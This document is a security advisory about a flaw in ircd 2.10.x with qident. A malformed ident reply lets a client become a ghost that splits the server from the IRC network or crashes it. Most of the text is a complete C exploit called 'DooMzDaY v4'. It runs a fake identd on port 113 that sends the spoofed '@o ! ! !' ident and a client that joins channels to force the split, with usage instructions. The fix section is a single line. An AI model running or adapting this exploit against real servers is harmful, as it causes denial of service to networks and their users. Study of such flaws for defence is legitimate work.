COMMAND

    ircd

SYSTEMS AFFECTED

    ircd2.10.x (qident)

PROBLEM

    psychoid found following.  There is  a bug in ircd 2.10.x used  in
    ircnet  in  conjunction  with  qident.   qident  does  not   check
    sucessfully for spaces and  characters as like *,  ! and @.   When
    using an ident as like "@o ! ! !", o would be treated as host, the
    parameters which  are left,  would be  enhanced by  the number  of
    spaces provided  by the  ident.   If this  ident is  accepted, the
    connected  client  will  become  a   ghost.  This  ghost  is   not
    successfully transmitted to the ircnetwork, thereful only  visible
    on the  server it  connects.   That would  not be problematic, but
    the real  problems occur,  when the  bogus idented  client joins a
    channel.   The  join  is  not  being  rejected  by the network and
    transfers the bogus ident with the parameters.  Then, a  "protocol
    error" occurs, the server is forced to split from the rest of  the
    network.  More  problematic gets the  fact, when the  bogus client
    gets collided.  This can lead to a denial of service crashing  the
    ircd completely.

    Below you will find a  simple exploit, which starts an  irc client
    with a spoofed  ident. There should  not run in.identd,  while the
    exploit is used. Also,  you have to be  root (used for the  bind).
    And it's written for linux.

    /* DooMzDaY v4 - ircd 2.10.x/ircnet - exploit
     * for linux - written by psychoid from tcl
     *
     * general vulnerability found by Hippo
     * a fix already is available, but there are
     * also incomplete fixes out there.
     *
     * this splits a server from the network. Simple, isnt it ?
     *
     * if you really want to run this, there should not run
     * an in.identd on your machine. Also, you need to be root.
     *
     * erm, this is for educational purposes only. Even, if noone gets
     * hurt *g*.
     */
    
    #include <stdio.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netdb.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/ip_icmp.h>
    #include <arpa/inet.h>
    #include <setjmp.h>
    #include <signal.h>
    #include <string.h>
    #include <sys/time.h>
    
    jmp_buf jumpback;
    
    void timed_out( int sig ) {
      longjmp( jumpback, 0x0 );
    }
    
    void fuck_it(int sig) {
      longjmp( jumpback, 0x0 );
    }
    
    int settimeout(unsigned short sockh, unsigned short timeout) {
      fd_set rfds;
      struct timeval tv;
      FD_ZERO(&rfds);
      FD_SET(sockh,&rfds);
      tv.tv_sec=timeout;
      tv.tv_usec=0;
      select(sockh+1,&rfds,NULL,NULL,&tv);
      if (!FD_ISSET(sockh,&rfds)) {
         return 0;
      } else {
         return 1;
      }
      /* returns 0=timeout or error, 1=input there */
    }
    
    
    unsigned long lookup(char *hostname)
    {
        struct hostent *name;
        unsigned long int address;
    
        if ((address = inet_addr(hostname)) != -1)
	    return address;
        if ((name=gethostbyname(hostname)) == NULL)
	    return -1;
        memcpy(&address,name->h_addr,name->h_length);
        return address;
    
    }
    
    int writesock(int sock,char *buf)
    {
        write(sock,buf,strlen(buf));
    }
    
    int readsock(int sock,char *buf,int size)
    {
        int rc;
        fd_set rfds;
        struct timeval tv;
        int cnt;
        memset(buf,0x0,size);
        cnt=0;
        if (settimeout(sock,1)==1) {
	    do {
	        rc=read(sock,buf+cnt,1);
	        if (rc==0) return rc;
	        if (rc==-1) return rc;
	        cnt++;
	    } while (buf[cnt-1] != '\n' && buf[cnt-1] != '\r' && cnt<size);
        }
        return 0;
    }
    
    int sockconnect( unsigned short timeout, unsigned long iP, unsigned short port ) {
      int                socky;
      int wasread;
      int currentsock;
      struct sockaddr_in address;
      struct hostent *athost;
      char lasock[0x100];
      unsigned long tip;
      unsigned short prt;
      FILE *sockslist;
      FILE *lastsock;
    
      if (( socky = socket( AF_INET, SOCK_STREAM, 0x0 )) == -1 ) {
        return socky;
      }
    
      address.sin_family      = AF_INET;
      address.sin_port        = htons( port );
      address.sin_addr.s_addr = iP;
      signal( SIGALRM, timed_out );
      alarm(10);
    
      if ( setjmp( jumpback ) == 0x0 ) {
        if ( connect( socky, (struct sockaddr*)(&address), sizeof( address ))) {
           socky = -1;
        }
      } else { socky = -1; }
    
      fflush(stdout);
      alarm (0);
      return socky;
    
    }
    
    void brokenpipe()
    {
        printf("Broken Pipe\n");
        return;
    }
    
    int tcpconnect( unsigned long  iP,
                    unsigned short port,
                    unsigned short timeout ) {
    
      int                socky;
      struct sockaddr_in address;
      struct sigaction sv;
      struct hostent *athost;
      char thathost[0x100];
      char buffer[512];
      int tries, length;
      socky = -1;
      tries = 0;
    
      sigemptyset(&sv.sa_mask);
      sv.sa_handler=brokenpipe;
      sigaction(SIGPIPE,&sv,NULL);
    
    /*  if ((athost = gethostbyname (thathost)) == NULL) {
         return -1;
      }*/
    
      fflush(stdout);
       if ((socky = sockconnect(timeout,iP,port)) == -1) {
	    fprintf(stdout,"Connection refused.\n");
            socky = -1;
            return socky;
       }
    
      if (socky == -1) printf("Connection refused.\n");
      alarm( 0x0 );
    
      return socky;
    }
    
    
    int ircdboost(char *host, int port, char *nick)
    {
        int sock;
        char buf[2048];
        char *pt;
        printf("Step 2: Connecting to the IRC Server.\n");
        sock=tcpconnect(lookup(host),port,10);
    
        if (sock==-1) {
	    printf("Error: cant connect\n");
	    exit(0x0);
        }
        printf("Step 3: Connected.. sending user / join\n");
        /* the star is very very important */
        writesock(sock,"USER o a a :a\r\n");
        snprintf(buf,sizeof(buf),"NICK %s\r\n",nick);
        writesock(sock,buf);
        snprintf(buf,sizeof(buf),"WHOIS kbnn%d\r\n",lookup(host));
        writesock(sock,buf);
        /* this joins are needed to broadcast the user to the connected servers */
        writesock(sock,"JOIN #sex\r\n"); /* yeah, right */
        writesock(sock,"JOIN #showdown\r\n"); /* yeah, right */
        writesock(sock,"JOIN #funfactory\r\n"); /* yeah, right */
        writesock(sock,"JOIN #usa\r\n"); /* yeah, right */
        writesock(sock,"JOIN #flirt.de\r\n"); /* yeah, right */
        writesock(sock,"JOIN 0\r\n"); /* yeah, right */
        printf("Step 4: Please press control+break to release the split.\n");
        while (readsock(sock,buf,sizeof(buf)) >=0)
        {
	    pt=strstr(buf,"PING");
	    if (pt==buf)
	    {
	        writesock(sock,"PONG :PPP\r\n");
	    }
	    pt=strstr(buf,"ERROR");
	    if (pt==buf) break;
	    printf(buf);
        }
        close(sock);
    }
    
    int
    main (int argc, char **argv)
    {
      int listensocket, insocket, outsocket;
      short listenport, destport;
      struct hostent *socks_he, *dest_he;
      struct sockaddr_in listen_sa, socks_sa;
      char buf[200];
      int sopts = 1, maxfd;
      char c[100];
      char *po;
      int length;
      int cnt;
      int rc;
      int lport,fport;
      fd_set rfds;
      lport= 0; fport =0;
    
      printf("\nDooMzDaY v4 - by psychoid\n");
      printf("exploits a bug in the ircd ident request of ircd 2.10.x\n");
    
      if (argc != 4)
        {
          printf ("Usage: %s ircserver port nick\n", argv[0]);
          printf ("Example: %s chat.bt.net 6669 killah\n\n", argv[0]);
          exit (1);
        }
    
      printf("Setting up..\n");
    
      listenport = 113;
    
      listensocket = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
      setsockopt (listensocket, SOL_SOCKET, SO_REUSEADDR, &sopts, sizeof (int));
    
      memset (&listen_sa, 0, sizeof (struct sockaddr_in));
    
      listen_sa.sin_port = htons (listenport);
      listen_sa.sin_addr.s_addr = htonl (INADDR_ANY);
    
      socks_sa.sin_port = htons (destport);
    
      if ((bind (listensocket, (struct sockaddr *) &listen_sa, sizeof (struct sockaddr_in))) == -1)
        {
          perror ("bind");
          exit (1);
        }
      if ((listen (listensocket, 1)) == -1)
        {
          perror ("listen");
          exit (1);
        }
      rc=fork();
      if (rc ==0) {
         printf("\nStep 1: Starting identd\n");
         sleep(2); /* the demon should really run */
         ircdboost(argv[1],atoi(argv[2]),argv[3]);
         exit(0x0);
      }
    gee:
      sleep(1);
      printf("        Identd started.. listening.\n");
      insocket = accept (listensocket, NULL, 0);
      if (insocket == -1)
        {
          perror ("accept");
          exit (1);
        }
    
      while (1)
        {
          memset(c,0x0,sizeof(c));
          FD_ZERO (&rfds);
          FD_SET (insocket, &rfds);
          select (insocket+1, &rfds, NULL, NULL, NULL);
          if (FD_ISSET (insocket, &rfds))
            {
	      length = recv (insocket, c, 100, 0);
	      if (length == -1 || length == 0)
	        break;
	      sscanf(c," %d , %d", &lport, &fport);
	      snprintf(buf,sizeof(buf),"%d , %d : USERID : UNIX : @o ! ! ! ! ! ! \r\n",lport,fport);
	      printf("\nIdent : %s\n",buf);
	      /* sending it a second time because of the lame 1st patch */
	      send(insocket,buf,strlen(buf),0);
	      snprintf(buf,sizeof(buf),": USERID : UNIX : @o ! ! ! ! ! ! \r\n");
	      printf("\nIdent : %s\n",buf);
	      send(insocket,buf,strlen(buf),0);
	      break;
	    }
        }
      sleep(1);
      close (insocket);
      close (listensocket);
      wait(0);
      exit(0x0);
    }

SOLUTION

    The opers had been informed quite a time ago, there are only  some
    servers left which react on that bogus ident.